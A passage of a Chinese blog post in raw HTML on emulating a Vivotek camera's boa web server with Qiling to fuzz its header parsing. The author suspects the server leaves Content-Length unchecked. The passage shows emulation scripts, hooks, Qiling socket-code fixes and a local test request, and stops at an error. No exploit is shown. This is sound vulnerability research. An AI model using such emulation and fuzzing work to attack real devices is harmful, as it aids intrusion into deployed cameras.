&#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.39383155397390274" title="null" data-type="png" data-w="843" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e2773ef5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SMRZPG4g5Q3ibu53zkK0jnTicwssl3K6Tkx6Ga1TsOswONR7aibzE9SJaw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213133117933</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">没有对<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Content-Length</code>成员做限制；<strong style="line-height: 1.75;color: rgb(255, 118, 118);">根据源码中提示字符串<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Unknown status (%d), closing</code>可以轻松定位到这几个函数</strong>:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.39339019189765456" title="null" data-type="png" data-w="938" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5a76f789&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752S8A9dEwkEV9A1R7WQ9w2OwjFicX0aPyMbib84exiaQdx7dvNCsABkIo8Dw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213133545416</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">那么接下来就尝试利用Qiling 启动这个程序并且Partial Fuzz函数&#34;read_header&#34;</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">模拟启动</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">模拟启动的宗旨(我的)是遇到啥错误修最后一个报错点</strong></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">启动模板：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">import</span> os, sys<br/>sys.path.append(<span style="color: rgb(152, 195, 121);">&#39;/home/iot/workspace/Emulator/qiling-dev&#39;</span>)<br/><span style="color: rgb(198, 120, 221);">from</span> qiling <span style="color: rgb(198, 120, 221);">import</span> Qiling<br/><span style="color: rgb(198, 120, 221);">from</span> qiling.const <span style="color: rgb(198, 120, 221);">import</span> QL_INTERCEPT, QL_VERBOSE<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">boa_run</span>(path: <span style="color: rgb(230, 192, 123);">list</span>, rootfs: <span style="color: rgb(230, 192, 123);">str</span>, profile: <span style="color: rgb(230, 192, 123);">str</span> = <span style="color: rgb(152, 195, 121);">&#39;default&#39;</span>):<br/>    ql = Qiling(path, rootfs, profile=profile, verbose=QL_VERBOSE.OFF, multithread=<span style="color: rgb(86, 182, 194);">False</span>)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;setup files&#34;&#34;&#34;</span><br/>    ql.add_fs_mapper(<span style="color: rgb(152, 195, 121);">&#39;/dev/null&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;/dev/null&#39;</span>)<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;hooks&#34;&#34;&#34;</span><br/>    ql.run()<br/>    <br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#39;__main__&#39;</span>:<br/>    os.chdir(<span style="color: rgb(152, 195, 121);">&#39;/home/iot/workspace/Emulator/qiling-dev/vivetok&#39;</span>)<br/>    path = [<span style="color: rgb(152, 195, 121);">&#39;./rootfs/usr/sbin/httpd&#39;</span>, <span style="color: rgb(152, 195, 121);">&#34;-c&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/etc/conf.d/boa&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;-d&#34;</span>]<br/>    rootfs = <span style="color: rgb(152, 195, 121);">&#39;./rootfs&#39;</span><br/>    profile = <span style="color: rgb(152, 195, 121);">&#39;./boa_arm.ql&#39;</span><br/>    boa_run(path=path, rootfs=rootfs, profile=profile)</code></pre><hr style="color: rgb(0, 0, 0);font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">尝试启动</strong></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先遇到的是：gethostbyname:: Success</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在IDA中定位到：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.5121621621621621" title="null" data-type="png" data-w="740" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9d2d4e8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SVdL96jw4D4gjN2CRzsvYdgyTEzlPHx18PvX71thj2pI9Zu6e0axoSQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213134138571</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">函数原型：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">struct</span> hostent *<span style="color: rgb(97, 174, 238);">gethostbyname</span>(<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *hostname);<br/><span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">hostent</span>{<br/>    <span style="color: rgb(209, 154, 102);">char</span> *h_name;  <span style="color: rgb(92, 99, 112);font-style: italic;">//official name</span><br/>    <span style="color: rgb(209, 154, 102);">char</span> **h_aliases;  <span style="color: rgb(92, 99, 112);font-style: italic;">//alias list</span><br/>    <span style="color: rgb(209, 154, 102);">int</span>  h_addrtype;  <span style="color: rgb(92, 99, 112);font-style: italic;">//host address type</span><br/>    <span style="color: rgb(209, 154, 102);">int</span>  h_length;  <span style="color: rgb(92, 99, 112);font-style: italic;">//address lenght</span><br/>    <span style="color: rgb(209, 154, 102);">char</span> **h_addr_list;  <span style="color: rgb(92, 99, 112);font-style: italic;">//address list</span><br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  获取返回的结构体还挺复杂的，问题的原因是 在调用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">gethostname</code>将获得<strong style="line-height: 1.75;color: rgb(255, 118, 118);">ql_vm</strong>作为主机名所以当以此调用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">gethostbyname</code>无法获得主机信息，所以hook这个函数，并提前开辟空间存放伪造信息：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>struct hostent{<br/>    char *h_name;  //official name<br/>    char **h_aliases;  //alias list<br/>    int  h_addrtype;  //host address type<br/>    int  h_length;  //address lenght<br/>    char **h_addr_list;  //address list<br/>}<br/>&#34;&#34;&#34;</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">hook_memSpace</span>(ql: Qiling):<br/>    ql.mem.<span style="color: rgb(230, 192, 123);">map</span>(<span style="color: rgb(209, 154, 102);">0x1000</span>, <span style="color: rgb(209, 154, 102);">0x1000</span>, info=<span style="color: rgb(152, 195, 121);">&#39;my_hook&#39;</span>)<br/>    data = struct.pack(<span style="color: rgb(152, 195, 121);">&#39;&lt;IIIII&#39;</span>, <span style="color: rgb(209, 154, 102);">0x1100</span>, <span style="color: rgb(209, 154, 102);">0x1100</span>, AF_INET, <span style="color: rgb(209, 154, 102);">4</span>, <span style="color: rgb(209, 154, 102);">0x1100</span>)<br/>    ql.mem.write(<span style="color: rgb(209, 154, 102);">0x1000</span>, data)<br/>    ql.mem.write(<span style="color: rgb(209, 154, 102);">0x1100</span>, <span style="color: rgb(152, 195, 121);">b&#39;qiling&#39;</span>)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">lib_gethostbyname</span>(ql: Qiling):<br/>    args = ql.os.resolve_fcall_params({<span style="color: rgb(152, 195, 121);">&#39;name&#39;</span>:STRING})<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#39;[gethostbyname]: &#39;</span> + args[<span style="color: rgb(152, 195, 121);">&#39;name&#39;</span>])<br/>    ql.arch.regs.write(<span style="color: rgb(152, 195, 121);">&#39;r0&#39;</span>, <span style="color: rgb(209, 154, 102);">0x1000</span>)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  还有一个严重问题就是模拟过程中程序自动采用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ipv6</code>协议，这就很烦因为qiling的ipv6协议支持的不是很好</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">ipv6 socket</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="font-style: italic;"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">AttributeError: &#39;sockaddr_in&#39; object has no attribute &#39;sin6_addr&#39;</strong></span></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">问题处在对ipv6的系统调用bind：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">elif</span> sa_family == AF_INET6 <span style="color: rgb(198, 120, 221);">and</span> ql.os.ipv6:<br/>    sockaddr_in6 = make_sockaddr_in(abits, endian)<br/>    sockaddr_obj = sockaddr_in6.from_buffer(data)<br/>    port = ntohs(ql, sockaddr_obj.sin_port)<br/>    host = inet6_ntoa(sockaddr_obj.sin6_addr.s6_addr)<br/>    <span style="color: rgb(198, 120, 221);">if</span> ql.os.bindtolocalhost:<br/>        host = <span style="color: rgb(152, 195, 121);">&#39;::1&#39;</span><br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> ql.os.root <span style="color: rgb(198, 120, 221);">and</span> port &lt;= <span style="color: rgb(209, 154, 102);">1024</span>:<br/>        port = port + <span style="color: rgb(209, 154, 102);">8000</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">make_sockaddr_in</span>(archbits: <span style="color: rgb(230, 192, 123);">int</span>, endian: QL_ENDIAN):<br/>    Struct = struct.get_aligned_struct(archbits, endian)<br/>    <span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">in_addr</span>(<span style="color: rgb(230, 192, 123);">Struct</span>):<br/>        _fields_ = (<br/>            (<span style="color: rgb(152, 195, 121);">&#39;s_addr&#39;</span>, ctypes.c_uint32),<br/>        )<br/>    <span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">sockaddr_in</span>(<span style="color: rgb(230, 192, 123);">Struct</span>):<br/>        _fields_ = (<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin_family&#39;</span>, ctypes.c_int16),<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin_port&#39;</span>,   ctypes.c_uint16),<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin_addr&#39;</span>,   in_addr),<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin_zero&#39;</span>,   ctypes.c_byte * <span style="color: rgb(209, 154, 102);">8</span>)<br/>        )<br/>    <span style="color: rgb(198, 120, 221);">return</span> sockaddr_in<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">make_sockaddr_in6</span>(archbits: <span style="color: rgb(230, 192, 123);">int</span>, endian: QL_ENDIAN):<br/>    Struct = struct.get_aligned_struct(archbits, endian)<br/>    <span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">in6_addr</span>(<span style="color: rgb(230, 192, 123);">Struct</span>):<br/>        _fields_ = (<br/>            (<span style="color: rgb(152, 195, 121);">&#39;s6_addr&#39;</span>, ctypes.c_uint8 * <span style="color: rgb(209, 154, 102);">16</span>),<br/>        )<br/>    <span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">sockaddr_in6</span>(<span style="color: rgb(230, 192, 123);">Struct</span>):<br/>        _fields_ = (<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin6_family&#39;</span>,   ctypes.c_int16),<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin6_port&#39;</span>,     ctypes.c_uint16),<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin6_flowinfo&#39;</span>, ctypes.c_uint32),<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin6_addr&#39;</span>,     in6_addr),<br/>            (<span style="color: rgb(152, 195, 121);">&#39;sin6_scope_id&#39;</span>, ctypes.c_uint32)<br/>        )<br/>    <span style="color: rgb(198, 120, 221);">return</span> sockaddr_in6</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  make_sockaddr_in, make_sockaddr_in6基于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ctypes</code>构造严格的sockaddr结构体，因为是ipv6所以得用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">make_sockaddr_in6</code></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  还有就是函数<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">(function) inet6_ntoa: (addr: bytes) -&gt; str</code>需要bytes对象,而sockaddr_obj.sin6_addr.s6_addr是cbytes类型所以得<strong style="line-height: 1.75;color: rgb(255, 118, 118);">bytes转</strong></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">sockaddr_in6 = make_sockaddr_in6(abits, endian)<br/>sockaddr_obj = sockaddr_in6.from_buffer(data)<br/>port = ntohs(ql, sockaddr_obj.sin6_port)<br/>host = inet6_ntoa(<span style="color: rgb(230, 192, 123);">bytes</span>(sockaddr_obj.sin6_addr.s6_addr))</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="font-style: italic;"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">OSError: [Errno 98] Address already in use</strong></span></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">还是在调用bind时候，因为qiling会对低于1024的端口bind进行修改：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> ql.os.root <span style="color: rgb(198, 120, 221);">and</span> port &lt;= <span style="color: rgb(209, 154, 102);">1024</span>:<br/>        port = port + <span style="color: rgb(209, 154, 102);">8000</span></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">而后面还对8080端口进行一次bind，所以这里得改，然后其实就能进入核心处理逻辑了 ：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.21867881548974943" title="null" data-type="png" data-w="878" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c7e2a95c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SbHm1rN4bhGxQ5tHiaB5Mq8omiaq5k08DxmAzaOyH0lYLyic7rnUqJx8Wg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213134113202</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">当然还得看看链接有没有问题：尝试访问又出现问题</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">$ <span style="color: rgb(230, 192, 123);">echo</span> -en <span style="color: rgb(152, 195, 121);">&#34;GET /index.html HTTP/1.0\n\rContent-Length:20\n\r\n\r&#34;</span>  | nc -v ::1 9080<br/>Connection to ::1 9080 port [tcp/*] succeeded!<br/>File <span style="color: rgb(152, 195, 121);">&#34;/home/iot/workspace/Emulator/qiling-dev-stb/qiling/os/posix/syscall/socket.py&#34;</span>, line 669, <span style="color: rgb(198, 120, 221);">in</span> ql_syscall_accept<br/>    host, port = address<br/>ValueError: too many values to unpack (expected 2)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="font-style: italic;"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">ValueError: too many values to unpack 